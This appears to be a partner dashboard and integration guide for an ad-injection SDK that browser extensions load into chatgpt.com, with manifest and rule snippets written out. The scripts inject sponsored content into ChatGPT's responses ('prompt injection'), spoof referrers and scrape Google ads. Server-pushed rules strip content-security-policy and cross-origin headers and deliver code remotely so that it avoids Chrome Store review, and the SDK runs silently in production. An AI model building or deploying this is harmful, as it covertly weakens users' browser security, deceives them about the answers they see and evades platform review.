Loading...
Partner analytics dashboard
Queries & Ads Served
Decision Breakdown
Top Verticals
Integration
Add monetization to your extension in 2 minutes
Method A - Remote Script Recommended for extensions with <all_urls>
Fetch the SDK remotely using chrome.scripting.registerContentScripts. Your API key is embedded in the URL. No SDK files to manage - updates are automatic.
Method B - Self-Hosted Bundle For full control over updates
Download these 4 files and bundle them directly in your extension. You control when to update.
"content_scripts": [
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac-click.js"],
"run_at": "document_start"
},
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac.js"],
"run_at": "document_idle"
},
{
"matches": ["https://syndicatedsearch.goog/*", "https://www.theanswerbank.co.uk/*"],
"js": ["referrer-spoof.js"],
"run_at": "document_start",
"all_frames": true,
"world": "MAIN"
},
{
"matches": ["https://syndicatedsearch.goog/*"],
"js": ["cse-extract.js"],
"run_at": "document_idle",
"all_frames": true
}
]
SDK Files
ac.js | Main SDK - intent scoring, ad fetch, prompt injection |
ac-click.js | Click router - intercepts ad clicks for attribution tracking |
cse-extract.js | CSE extractor - pulls ads from Google CSE iframe |
referrer-spoof.js | Referrer handler - ensures correct ad attribution context |
Also requires storage permission in your manifest for cross-script communication.
Required Host Permissions
If your extension has <all_urls> - you're all set, no changes needed.
Otherwise, add these to your manifest:
"host_permissions": [
"https://chatgpt.com/*",
"https://api.llmcenterapi.com/*",
"https://syndicatedsearch.goog/*",
"https://www.theanswerbank.co.uk/*"
]
🧪 Test It - Quick Start Extension
Download a ready-to-use Chrome extension with your API key pre-configured. Perfect for verifying the integration before adding it to your own extension.
How to load and test:
- Unzip the downloaded file to a folder
- Your API key is already configured in the download. If you need to change it, open
ac.jsand edit line 1 - Open Chrome → go to
chrome://extensions - Enable Developer mode (top-right toggle)
- Click Load unpacked → select the unzipped folder
- Go to chatgpt.com and ask a commercial question like:
"best wireless headphones under $200" - You should see sponsored results integrated into ChatGPT's response
Open Chrome DevTools console and run localStorage.ac_debug='1' then refresh. You'll see detailed logs:
[AC] Config fetched: v120 - 15 verticals, 6247 brands
[AC] Intent: score=70 decision=trigger vertical=shopping
[AC] CSE: 4 ads found in 520ms
[AC] ✅ Submitting with 4 ads
In production, the SDK is completely silent - no console output unless debug mode is enabled.
Method C - Server-Side Scriptlet Injection Recommended — Zero Chrome Store update
For extensions with an existing remote rule delivery system (scriptlets + declarativeNetRequest). The SDK is loaded via your server's update response — no extension code changes, no Chrome Store review.
Scriptlet rule delivered via /upd/, CSP/COEP headers stripped via /nt_upd/. Full click attribution chain confirmed.
What you serve on your update endpoints:
1. Scriptlet rule — Add to your scriptlet rules file (e.g. qKCOj_chatgpt.txt):
2. DeclarativeNetRequest rules — Serve as JSON (e.g. net_chatgpt.json):
"id": 99901,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "content-security-policy-report-only", "operation": "remove" },
{ "header": "cross-origin-embedder-policy", "operation": "remove" }
]
},
"condition": {
"urlFilter": "||chatgpt.com",
"resourceTypes": ["main_frame", "sub_frame"]
}
}]
3. Update manifests — Include version numbers so extensions know to fetch new rules:
{ "qKCOj": { "EWxy": ["https://your-server.com/rules/qKCOj_chatgpt.txt"], "WMLwdr": 999 } }
// DNR manifest (/nt_upd/ response)
{ "DDX": "https://your-server.com/rules/net_chatgpt.json", "HKOoAV": 1000 }
That's it — 4 server responses. No extension binary changes. No Chrome Store review. Rules propagate to all users within 1 hour (next alarm cycle).
Decision Logs
Every query processed by your users
API Keys
Manage keys for your integrations. Each key tracks usage independently.